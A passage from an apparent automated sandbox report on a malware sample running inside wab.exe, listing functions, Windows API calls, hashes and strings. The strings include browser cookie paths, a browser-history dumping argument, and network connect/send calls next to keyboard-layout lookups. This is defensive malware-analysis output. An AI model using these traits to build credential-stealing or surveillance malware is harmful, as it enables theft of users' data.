                                            • GetModuleHandleA.KERNEL32(00000000,00020009), ref: 0041ADF2
                                            • PlaySoundW.WINMM(00000000,00000000), ref: 0041AE00
                                            • Sleep.KERNEL32(00002710), ref: 0041AE07
                                            • PlaySoundW.WINMM(00000000,00000000,00000000), ref: 0041AE10
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: PlaySound$HandleLocalModuleSleepTime
                                            • String ID: Alarm triggered
                                            • API String ID: 614609389-2816303416
                                            • Opcode ID: 458a9fadc2ddf1b51f38526f332080559b1bee2397fd5821544ba6e308cf5034
                                            • Instruction ID: 9c0713ce1321a11b0f254193fe9a85ef30a97b7eb59a64372af151f10574a600
                                            • Opcode Fuzzy Hash: 458a9fadc2ddf1b51f38526f332080559b1bee2397fd5821544ba6e308cf5034
                                            • Instruction Fuzzy Hash: 36E01226B44260779620377B6D4FD6F3D28DAC2B5170100BEFA0666192D9580C4586FB
                                            Function 0041CD58 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetStdHandle.KERNEL32(000000F5,00000000,?,?,?,?,?,?,0041CDED), ref: 0041CD62
                                            • GetConsoleScreenBufferInfo.KERNEL32 ref: 0041CD6F
                                            • SetConsoleTextAttribute.KERNEL32(00000000,0000000C), ref: 0041CD7C
                                            • SetConsoleTextAttribute.KERNEL32(00000000,?), ref: 0041CD8F
                                            Strings
                                            • ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/ , xrefs: 0041CD82
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Console$AttributeText$BufferHandleInfoScreen
                                            • String ID: ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/
                                            • API String ID: 3024135584-2418719853
                                            • Opcode ID: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
                                            • Instruction ID: 0b88db63cd78dea0703aeaf814a7171c31f7e2e6e0b1944ffb711cb25cf7542c
                                            • Opcode Fuzzy Hash: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
                                            • Instruction Fuzzy Hash: B4E04872904315E7E31027B5EC4DDAB7B7CE745713B100266FA12915D39A749C40C6B5
                                            Function 0044139A Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: d82b14c4b7eddcab2a525b8a5736e815382cccc6b286473e45e20a4a09cb7dcc
                                            • Instruction ID: 3288ceb70b28299b768e57bc56a65f905b411dc47ae91625c595fe6b39b3afde
                                            • Opcode Fuzzy Hash: d82b14c4b7eddcab2a525b8a5736e815382cccc6b286473e45e20a4a09cb7dcc
                                            • Instruction Fuzzy Hash: 4D71C431900256ABEF21CF55C884AFFBBB5EF95350F14012BE812A72A1D7748CC1CBA9
                                            Function 00444CFB Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                                            • _free.LIBCMT ref: 00444E06
                                            • _free.LIBCMT ref: 00444E1D
                                            • _free.LIBCMT ref: 00444E3C
                                            • _free.LIBCMT ref: 00444E57
                                            • _free.LIBCMT ref: 00444E6E
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$AllocateHeap
                                            • String ID:
                                            • API String ID: 3033488037-0
                                            • Opcode ID: bc830042460a8b7e4f23ea146b673c7d23acc7bc4933b5c91394f116147f2234
                                            • Instruction ID: 75a60bec03265776b93b53542ea819fdab521e44af267d44e1f719a945e8e2e2
                                            • Opcode Fuzzy Hash: bc830042460a8b7e4f23ea146b673c7d23acc7bc4933b5c91394f116147f2234
                                            • Instruction Fuzzy Hash: 5451D371A00704AFEB20DF6AC841B6673F4FF85729B14456EE819D7250E739EE01CB88
                                            Function 00449365 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
                                            • _free.LIBCMT ref: 004493BD
                                              • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                              • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                            • _free.LIBCMT ref: 00449589
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
                                            • String ID:
                                            • API String ID: 1286116820-0
                                            • Opcode ID: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
                                            • Instruction ID: c95a83c4fc9d8f5f381c6ef12c4bd90d50aad01b0883e3b7d6e96279f2ead045
                                            • Opcode Fuzzy Hash: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
                                            • Instruction Fuzzy Hash: 71511A71904205EBEB14EFA9DD819AFB7BCEF44324F10066FE51493291EB788E42DB58
                                            Function 0040F8FD Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F91B
                                            • Process32FirstW.KERNEL32(00000000,?), ref: 0040F93F
                                            • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F94E
                                            • CloseHandle.KERNEL32(00000000), ref: 0040FB05
                                              • Part of subcall function 0041BFE5: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0040F5F9,00000000,?,?,00475338), ref: 0041BFFA
                                              • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                                              • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                                            • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040FAF6
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Process$OpenProcess32$Next$CloseCreateCurrentFirstHandleSnapshotToolhelp32
                                            • String ID:
                                            • API String ID: 4269425633-0
                                            • Opcode ID: 6f51e59ffccac79a8cfa31e78c91a9a185d84b91a830793d1a1b18643491f6ec
                                            • Instruction ID: d179df5438ecf7187d550cf9263b6860c2801d48d571b2859f9d543a591e132f
                                            • Opcode Fuzzy Hash: 6f51e59ffccac79a8cfa31e78c91a9a185d84b91a830793d1a1b18643491f6ec
                                            • Instruction Fuzzy Hash: 784116311083419BC325F722DC55AEFB3A5AF94345F50493EF48A921E2EF385A49C75A
                                            Function 00443DF9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free
                                            • String ID:
                                            • API String ID: 269201875-0
                                            • Opcode ID: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
                                            • Instruction ID: 5dce3a056f7b38871bf3701478ebec2c01ef4ac0d1e4adeac0a27022f106ca0c
                                            • Opcode Fuzzy Hash: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
                                            • Instruction Fuzzy Hash: 0741F536A012009FEB20DF78C881A5EB3F1EF89B14F2545AEE515EB341DB35AE01CB84
                                            Function 0045112C Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • MultiByteToWideChar.KERNEL32(?,00000000,?,00000000,00000000,00000000,0042DD01,?,?,?,00000001,00000000,?,00000001,0042DD01,0042DD01), ref: 00451179
                                            • __alloca_probe_16.LIBCMT ref: 004511B1
                                            • MultiByteToWideChar.KERNEL32(?,00000001,?,00000000,00000000,0042DD01,?,?,?,00000001,00000000,?,00000001,0042DD01,0042DD01,?), ref: 00451202
                                            • GetStringTypeW.KERNEL32(00000001,00000000,00000000,00000001,?,?,?,00000001,00000000,?,00000001,0042DD01,0042DD01,?,00000002,00000000), ref: 00451214
                                            • __freea.LIBCMT ref: 0045121D
                                              • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
                                            • String ID:
                                            • API String ID: 313313983-0
                                            • Opcode ID: 96f15bfe140a09faeb809ebc5c29b58b41f03d59f1561ac9dee06a5207780793
                                            • Instruction ID: 2862a929c21554b3885a63a70f5d1b49ed21d23a3953ed9914841bfcf42aa681
                                            • Opcode Fuzzy Hash: 96f15bfe140a09faeb809ebc5c29b58b41f03d59f1561ac9dee06a5207780793
                                            • Instruction Fuzzy Hash: 6631D271A0020AABDF24DFA5DC41EAF7BA5EB04315F0445AAFC04D72A2E739CD55CB94
                                            Function 0044F35A Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetEnvironmentStringsW.KERNEL32 ref: 0044F363
                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044F386
                                              • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044F3AC
                                            • _free.LIBCMT ref: 0044F3BF
                                            • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044F3CE
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                            • String ID:
                                            • API String ID: 336800556-0
                                            • Opcode ID: d8ae35f0e3060a242d199930de563035f78cbeddf85e30d7e5766290ad92fb82
                                            • Instruction ID: 8337c1946637dec1c7c9c61cb05458c13fbc509b7d73539ecc926bc10a2836fd
                                            • Opcode Fuzzy Hash: d8ae35f0e3060a242d199930de563035f78cbeddf85e30d7e5766290ad92fb82
                                            • Instruction Fuzzy Hash: 2301B173601755BB37211ABA5C8CC7F6A6CDAC6FA5315013FFD14C2202EA68CD0581B9
                                            Function 00448299 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetLastError.KERNEL32(?,00000000,00000000,0043BC87,00000000,00000000,?,0043BD0B,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044829E
                                            • _free.LIBCMT ref: 004482D3
                                            • _free.LIBCMT ref: 004482FA
                                            • SetLastError.KERNEL32(00000000,?,00405103), ref: 00448307
                                            • SetLastError.KERNEL32(00000000,?,00405103), ref: 00448310
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLast$_free
                                            • String ID:
                                            • API String ID: 3170660625-0
                                            • Opcode ID: ce9cc6301b23d983ade5427f2db299c0b586cbcb428296df669d0de5b5bf801f
                                            • Instruction ID: 817e1e76de570c2b023109a843fda652767a1b5a915d0172e9d2adf04509528a
                                            • Opcode Fuzzy Hash: ce9cc6301b23d983ade5427f2db299c0b586cbcb428296df669d0de5b5bf801f
                                            • Instruction Fuzzy Hash: 5601F936500B0067F3112A2A5C8596F2559EBC2B7A735452FFD19A22D2EFADCC01816D
                                            Function 004509BC Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • _free.LIBCMT ref: 004509D4
                                              • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                              • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                            • _free.LIBCMT ref: 004509E6
                                            • _free.LIBCMT ref: 004509F8
                                            • _free.LIBCMT ref: 00450A0A
                                            • _free.LIBCMT ref: 00450A1C
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$ErrorFreeHeapLast
                                            • String ID:
                                            • API String ID: 776569668-0
                                            • Opcode ID: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                                            • Instruction ID: 8e1836d4b3683ea2f551dac33bf8b94159c93f8dbbc189607f67f5fa0db289e6
                                            • Opcode Fuzzy Hash: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                                            • Instruction Fuzzy Hash: F3F04F76504600B79620EB5DE8C2C1B73D9EA0571A795891BF66CDB612CB38FCC0869C
                                            Function 00444048 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                            Download Yara Rule
                                            APIs
                                            • _free.LIBCMT ref: 00444066
                                              • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                              • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                            • _free.LIBCMT ref: 00444078
                                            • _free.LIBCMT ref: 0044408B
                                            • _free.LIBCMT ref: 0044409C
                                            • _free.LIBCMT ref: 004440AD
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$ErrorFreeHeapLast
                                            • String ID:
                                            • API String ID: 776569668-0
                                            • Opcode ID: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                                            • Instruction ID: c4ed0220327abb1134bcf7d54e43c2409a3611c90002b0fe773cef56a7474a4d
                                            • Opcode Fuzzy Hash: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                                            • Instruction Fuzzy Hash: 11F03AB18009208FA631AF2DBD414053B61E705769346822BF62C62A70C7B94ED2CFCF
                                            Function 0044E6E9 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON
                                            Download Yara Rule
                                            APIs
                                            • _strpbrk.LIBCMT ref: 0044E738
                                            • _free.LIBCMT ref: 0044E855
                                              • Part of subcall function 0043BD19: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0043BD1B
                                              • Part of subcall function 0043BD19: GetCurrentProcess.KERNEL32(C0000417,?,00405103), ref: 0043BD3D
                                              • Part of subcall function 0043BD19: TerminateProcess.KERNEL32(00000000,?,00405103), ref: 0043BD44
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
                                            • String ID: *?$.
                                            • API String ID: 2812119850-3972193922
                                            • Opcode ID: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
                                            • Instruction ID: 94a4b4bbf586d133b1ca6d09685756ea089c4dad0dcc4a5060c65dcbb11523ea
                                            • Opcode Fuzzy Hash: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
                                            • Instruction Fuzzy Hash: B951C375E00109EFEF14DFAAC881AAEBBB5FF58314F25816EE454E7301E6399E018B54
                                            Function 00409EA3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 157COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetKeyboardLayoutNameA.USER32(?), ref: 00409ED3
                                              • Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0
                                              • Part of subcall function 0041C515: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041C52A
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CreateFileKeyboardLayoutNameconnectsend
                                            • String ID: XQG$NG$PG
                                            • API String ID: 1634807452-3565412412
                                            • Opcode ID: 540faca1283a201b615fa294366106f171e649dc374ea9aa343cf977934f0195
                                            • Instruction ID: e0ccbd324811511655e6ba18c086c0ffec884fa52ef92f7e14ea490dcf81b303
                                            • Opcode Fuzzy Hash: 540faca1283a201b615fa294366106f171e649dc374ea9aa343cf977934f0195
                                            • Instruction Fuzzy Hash: BA5133315082415AC324F732D852AEFB3E5AFD4348F50493FF44A671E6EF78594AC649
                                            Function 00442385 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                            Download Yara Rule
                                            APIs
                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424DE
                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424F3
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                            • String ID: `#D$`#D
                                            • API String ID: 885266447-2450397995
                                            • Opcode ID: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
                                            • Instruction ID: d0478598ef992627c852fcfbe86add3ca1c9fa58067414995f231753f3186543
                                            • Opcode Fuzzy Hash: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
                                            • Instruction Fuzzy Hash: 78519071A00208AFDF18DF59C980AAEBBB2FB94314F59C19AF81897361D7B9DD41CB44
                                            Function 00443435 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\Windows Mail\wab.exe,00000104), ref: 00443475
                                            • _free.LIBCMT ref: 00443540
                                            • _free.LIBCMT ref: 0044354A
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$FileModuleName
                                            • String ID: C:\Program Files (x86)\Windows Mail\wab.exe
                                            • API String ID: 2506810119-3414636521
                                            • Opcode ID: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
                                            • Instruction ID: 78b8e4ab202bb8962dfea6a4c95dea7b8c186c0554b41bb8e719afd17783d6d0
                                            • Opcode Fuzzy Hash: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
                                            • Instruction Fuzzy Hash: 2E31C471A00258BFEB21DF999C8199EBBBCEF85B15F10406BF50497311D6B89F81CB98
                                            Function 0040404C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93sleepCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00404066
                                              • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,7570D4DF,00000000,?,?,?,?,00466468,0040D20D,.vbs,?,?,?,?,?,004752F0), ref: 0041B99F
                                              • Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5), ref: 0041857E
                                              • Part of subcall function 00418568: CloseHandle.KERNEL32(t^F), ref: 00418587
                                              • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                                            • Sleep.KERNEL32(000000FA,00465E74), ref: 00404138
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
                                            • String ID: /sort "Visit Time" /stext "$0NG
                                            • API String ID: 368326130-3219657780
                                            • Opcode ID: 765a2cec5dfc93fc14e6a06a83629ca65ec94325b3245c099cb6fcf10de14a30
                                            • Instruction ID: 62b88373b0174ac8ae4090b78ebfd0a8fca35ca34796720d8357018cc2c92f87
                                            • Opcode Fuzzy Hash: 765a2cec5dfc93fc14e6a06a83629ca65ec94325b3245c099cb6fcf10de14a30
                                            • Instruction Fuzzy Hash: E9316271A0011956CB15FBA6D8969EE7375AB90308F40007FF206B71E2EF385D89CA99
                                            Function 0041C9E2 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON
                                            Download Yara Rule
                                            APIs
                                            • SystemParametersInfoW.USER32 ref: 0041CAD7
                                              • Part of subcall function 0041376F: RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 0041377E
                                              • Part of subcall function 0041376F: RegSetValueExA.KERNEL32(?,004674B8,00000000,?,00000000,00000000), ref: 004137A6
                                              • Part of subcall function 0041376F: RegCloseKey.KERNEL32(?), ref: 004137B1
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseCreateInfoParametersSystemValue
                                            • String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
                                            • API String ID: 4127273184-3576401099
                                            • Opcode ID: a5c334ccb2f3e0acc440ce1cf8f28a98e6381df3e21f2f51dd4c73347d747d37
                                            • Instruction ID: 1197cbbb31bb874c57b9e92d70abebba424d259215afdbf251ae70ffa4d9d73d
                                            • Opcode Fuzzy Hash: a5c334ccb2f3e0acc440ce1cf8f28a98e6381df3e21f2f51dd4c73347d747d37
                                            • Instruction Fuzzy Hash: 7B1184B2BC021473D419313E5DABBBE28029743B51F94416BF6123A6C6E8DF0A8102CF
                                            Function 004162E4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79COMMON
                                            Download Yara Rule
                                            APIs
                                            • _wcslen.LIBCMT ref: 004162F5
                                              • Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                                              • Part of subcall function 00413877: RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                                              • Part of subcall function 00413877: RegCloseKey.KERNEL32(004660A4), ref: 004138AB
                                              • Part of subcall function 00409DE4: _wcslen.LIBCMT ref: 00409DFD
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _wcslen$CloseCreateValue
                                            • String ID: !D@$okmode$PG
                                            • API String ID: 3411444782-3370592832
                                            • Opcode ID: 56d367afe2ba597d6a39c7afb1f52fa5ab03872d574dd40714d897b86eaaf0d3
                                            • Instruction ID: dff749dc984b923ba5de2327a6f3f9cc2e67bcaf748228c26ce3aec7d70e92d7
                                            • Opcode Fuzzy Hash: 56d367afe2ba597d6a39c7afb1f52fa5ab03872d574dd40714d897b86eaaf0d3
                                            • Instruction Fuzzy Hash: 10119371B442011ADB187B72D832ABD22969F94358F80443FF54AAF2E2DEBD4C51525D
                                            Function 0040C5EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0040C4C3: PathFileExistsW.SHLWAPI(00000000), ref: 0040C4F6
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0040C61D
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0040C688
                                            Strings
                                            • User Data\Default\Network\Cookies, xrefs: 0040C603
                                            • User Data\Profile ?\Network\Cookies, xrefs: 0040C635
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExistsFilePath
                                            • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                                            • API String ID: 1174141254-1980882731
                                            • Opcode ID: f3bc938036da248068b0be9c9c2ef6302554ca2f51a2acae7b142117e121394f
                                            • Instruction ID: e6b9b9a8142aca5ff9e4641a3ff80a721fb4b0471daa7637ae592fad8ebd6223
                                            • Opcode Fuzzy Hash: f3bc938036da248068b0be9c9c2ef6302554ca2f51a2acae7b142117e121394f
                                            • Instruction Fuzzy Hash: B421037190011996CB14F7A2DC96CEEB738EE50319F40053FB502B31D2EF789A46C698
                                            Function 0040C6BB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0040C526: PathFileExistsW.SHLWAPI(00000000), ref: 0040C559
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0040C6EC
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0040C757
                                            Strings
                                            • User Data\Default\Network\Cookies, xrefs: 0040C6D2
                                            • User Data\Profile ?\Network\Cookies, xrefs: 0040C704
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
